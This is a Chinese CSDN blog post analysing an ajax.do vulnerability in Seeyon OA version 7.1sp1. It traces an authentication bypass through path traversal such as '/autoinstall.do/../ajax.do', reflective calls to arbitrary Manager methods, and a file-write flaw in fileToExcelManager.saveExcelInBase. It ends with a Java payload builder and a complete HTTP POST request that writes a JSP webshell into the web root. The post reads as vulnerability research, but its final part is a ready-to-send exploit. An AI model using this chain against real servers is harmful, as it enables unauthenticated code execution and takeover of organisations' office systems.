某OA ajax.do处漏洞分析

本文详细分析了Spring框架下的CTPv7.1sp1中ajax.do漏洞,涉及权限绕过方法和beanCacheMap的利用,以及一个示例中的fileToExcelManagersaveExcelInBase方法中的文件上传RCE漏洞。
摘要由CSDN通过智能技术生成

ajax.do处漏洞分析

本次分析版本v7.1sp1
/ajax.do可以调用其他类的方法,但ajax.do默认是不允许未授权访问的


登录后访问是这样子的

权限绕过

观察web.xml发现.do结尾的路由会经过SecurityFilter


CTPSecurityFilter类中做了校验,首先调用isSpringController进行校验


isSpringController只要是.do结尾的或者包含.do;jsessionid都会返回true


然后调用SpringControllerAuthenticator#authenticate


authenticate方法中判断是否登录,未登录调用this.isNeedlessCheckLogin


isNeedlessCheckLogin中,如果路由是/ajax.do,会将accessUrl设置为managerName参数的值,这里没有传入,就是null


然后获取needlessUrlMap


遍历判断accessUrl是否在这个map中


accessUrl为null的时候直接抛出异常了,传个managerName进行测试


isNeedlessCheckLogin返回false后赋值给isAnnotationNeedlessLogin,会调用到this.checkOnlineState


因为没有登录,所以checkOnlineState也会返回false


最后造成SpringControllerAuthenticator#authenticate返回false赋值给accept


当accept为false时,将不会进行filter链的调用


思考:在isNeedlessCheckLogin方法中,因为accessUrl不在needlessUrlMap中,导致返回false,那么使accessUrl为needlessUrlMap中存在的key,是否就会返回true,例如:/main.do


那么ajax.do不在needlessUrlMap中,如何能够访问到ajax.do呢,可以利用spring的一个小trick,在低版本spring中alwaysUseFullPath为默认值false,本次分析版本中刚好alwaysUseFullPath也为false


当alwaysUseFullPath为false时,会调用getPathWithinServletMapping对url进行处理


而getPathWithinServletMapping会对uri进行标准化处理,例如解码然后处理跨目录等,这就导致了可能的身份验证绕过
成功绕过

ajax.do调用流程

接下来分析ajax.do是如何调用类的
/ajax.do对应的是com.seeyon.ctp.common.service.AjaxController类


调用其他类的逻辑主要在ajaxAction方法中


返回的字符是outStr,outStr调用了invokeService方法进行处理,接着如果传入了ClientRequestPath参数且不为黑名单的,会调用ZipUtil.compressResponse进行解压缩


跟进invokeService方法,首先分别获取serviceName、methodName、strArgs、compressType,然后根据传入的compressType,调用ZipUtil.uncompressRequest对strArgs进行处理


跟进uncompressRequest,可以看到,如果compressType是gzip的话会进行gzip解压缩,如果不是的话,就会返回原本的数据


回到invokeService方法,根据传入的serviceName调用getService方法,然后返回一个对象


跟进getService方法,调用了AppContext.getBean方法来获取对象


跟进getBean方法,从beanCacheMap中获取缓存好的对象


beanCacheMap中存放了Manager的名字和对应的对象


回到getService方法,获取到对象后,还会判断其是否继承DataSource、Session、SessionFactory三个类,并且不为空,满足条件后return


返回invokeService方法,获取到对象后,会调用invokeMethod方法,传入获取到的对象、方法名、参数、类名


跟进invokeMethod方法,先将传入的strArgs参数解析成了Object对象,接着判断这个对象是否为List子类的实例,是的话会将Object强制转换成List对象,否则就会创建一个ArrayList对象。然后将传入的Object添加到ArrayList中


经接着会将serviceName + "" + methodName + "" + argsNum作为键值在this.candidateMethodCache中获取已经缓存的方法,返回一个list,如果获取到则会将传入的strArgs和list作为参数调用this.findMethodAndArgs((List)l, (List)list)


没获取到的话,会调用this.judgeCandidate


judgeCandidate方法中会反射获取services的所有方法,有符合的方法名和符合的所需参数个数的话,就会将这个方法加入到list中,返回list


将返回的list作为参数,调用findMethodAndArgs方法


findMethodAndArgs方法中,返回具体的Method对象和参数


将键值加入缓存


反射调用对应的方法


总结:beanCacheMap中存放了Manager的名字和对应的对象,可以通过传参调用对象的任意方法

修改权限绕过

当利用权限绕过的方式尝试调用对应的Manager时,会发现绕不过去了

/main.do/../ajax.do?method=ajaxAction&managerName=constDefManager&managerMethod=listPage


进行调试分析,发现是因为传入了method参数后,method为ajaxAction


这里返回了false


key为/main.do时返回的方法中没有ajaxAction,导致没有匹配成功返回false,/main.do/../ajax.do因为没传method参数,method为index,而main.do时返回的方法中含有index,所以可以绕过


继续观察发现methods.contains("") || methods.contains(method),只要2个条件成立一个就行了,methods.contains("")就是表示needlessUrlMap.get(key)返回的methods中包含*就行了
而autoinstall.do刚好满足这个条件


所以可以利用autoinstall.do来进行权限绕过,利用ajax.do调用相应的Manager

/autoinstall.do/../ajax.do?method=ajaxAction&managerName=constDefManager&managerMethod=listPage

漏洞利用

有很多Manager都存在漏洞,这里简单提一个fileToExcelManager,其saveExcelInBase方法存在文件上传问题,从而造成rce
接受3个参数


保存文件,并没有对文件名进行校验


需要注意的是这里写入的文件,会在前后加入2个双引号,直接插入shell是不行的,解析不了,我们可以利用换行符和双引号来闭合前后的双引号,从而使中间的shell内容能够解析
构造payload

import com.seeyon.ctp.common.excel.DataRecord;
import com.seeyon.ctp.common.log.CtpLogFactory;
import com.seeyon.ctp.util.ZipUtil;
import com.seeyon.ctp.util.json.JSONUtil;
import org.apache.commons.logging.Log;

import java.net.URLEncoder;
import java.util.ArrayList;

public class fileToExcelManagerPayload {
    private static final Log LOGGER = CtpLogFactory.getLog(fileToExcelManagerPayload.class);
    public static void main(String[] args) {

        DataRecord d = new DataRecord();
        String[] c = {"\"\r\n"+"<% out.println(\"ttttttttt\"); %>"+"\"\r\n"};
        d.setColumnName(c);
        String dd = JSONUtil.toJSONString(d);
        final ArrayList<Object> list = new ArrayList<>();
        list.add("../webapps/ROOT/x.jsp");
        list.add("\"\"");
        list.add(d);
        final String list1 = JSONUtil.toJSONString(list);
        String strArgs = ZipUtil.compressResponse(list1, "gzip", "UTF-8", LOGGER);
        System.out.println(URLEncoder.encode(strArgs));
        System.out.println("end");

    }
}

POST /seeyon/autoinstall.do/../ajax.do?method=ajaxAction&managerName=fileToExcelManager HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 6357

managerMethod=saveExcelInBase&managerName=fileToExcelManager&method=ajaxAction&requestCompress=gzip&arguments=%1F%C2%8B%08%00%00%00%00%00%00%00%5D%C2%8D%C3%81%0A%C3%820%10D%7F%C2%A5%2C%14%14B%C3%A2%C2%B9%C2%8A%C3%A7%1E%C3%84%C2%82%14%3C4%3D%C2%A46%C3%98H%C2%9A%C2%84dC%05%C3%B1%C3%9FM%09zp%C3%B64%C2%8F%C3%A5M%07%C2%94%C2%B2E%0E%C3%82%C2%B9%C3%80.M%C3%93%C2%B2%27%7D%04%07%04x%3A+%2F%C2%B8Y%1Dgs%16%C2%B3%C2%84%C2%AA%5B%C2%A9%C3%A7%C3%A6P%166%22u%5E%19%C3%94f%C3%83%01%C2%BF%C3%A1%C2%B0%C3%9D%17%C3%A51%C2%BFAO%60%14%28j%29%C3%86%C2%93%0A%C2%98%04%C2%89d%C3%A1U%C3%A1%04%C2%95%C2%89Z%13%08%C2%93%C2%94%C2%98%172%40%C2%85%C3%BAWB%1C%C3%9A%C2%BF%5EKu%C2%9F%C2%92nG%C3%80%C3%9Be%C3%95%C2%BE%C3%BB%0F%C3%8BJZ%C2%B7%C3%8A%00%00%00

 免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值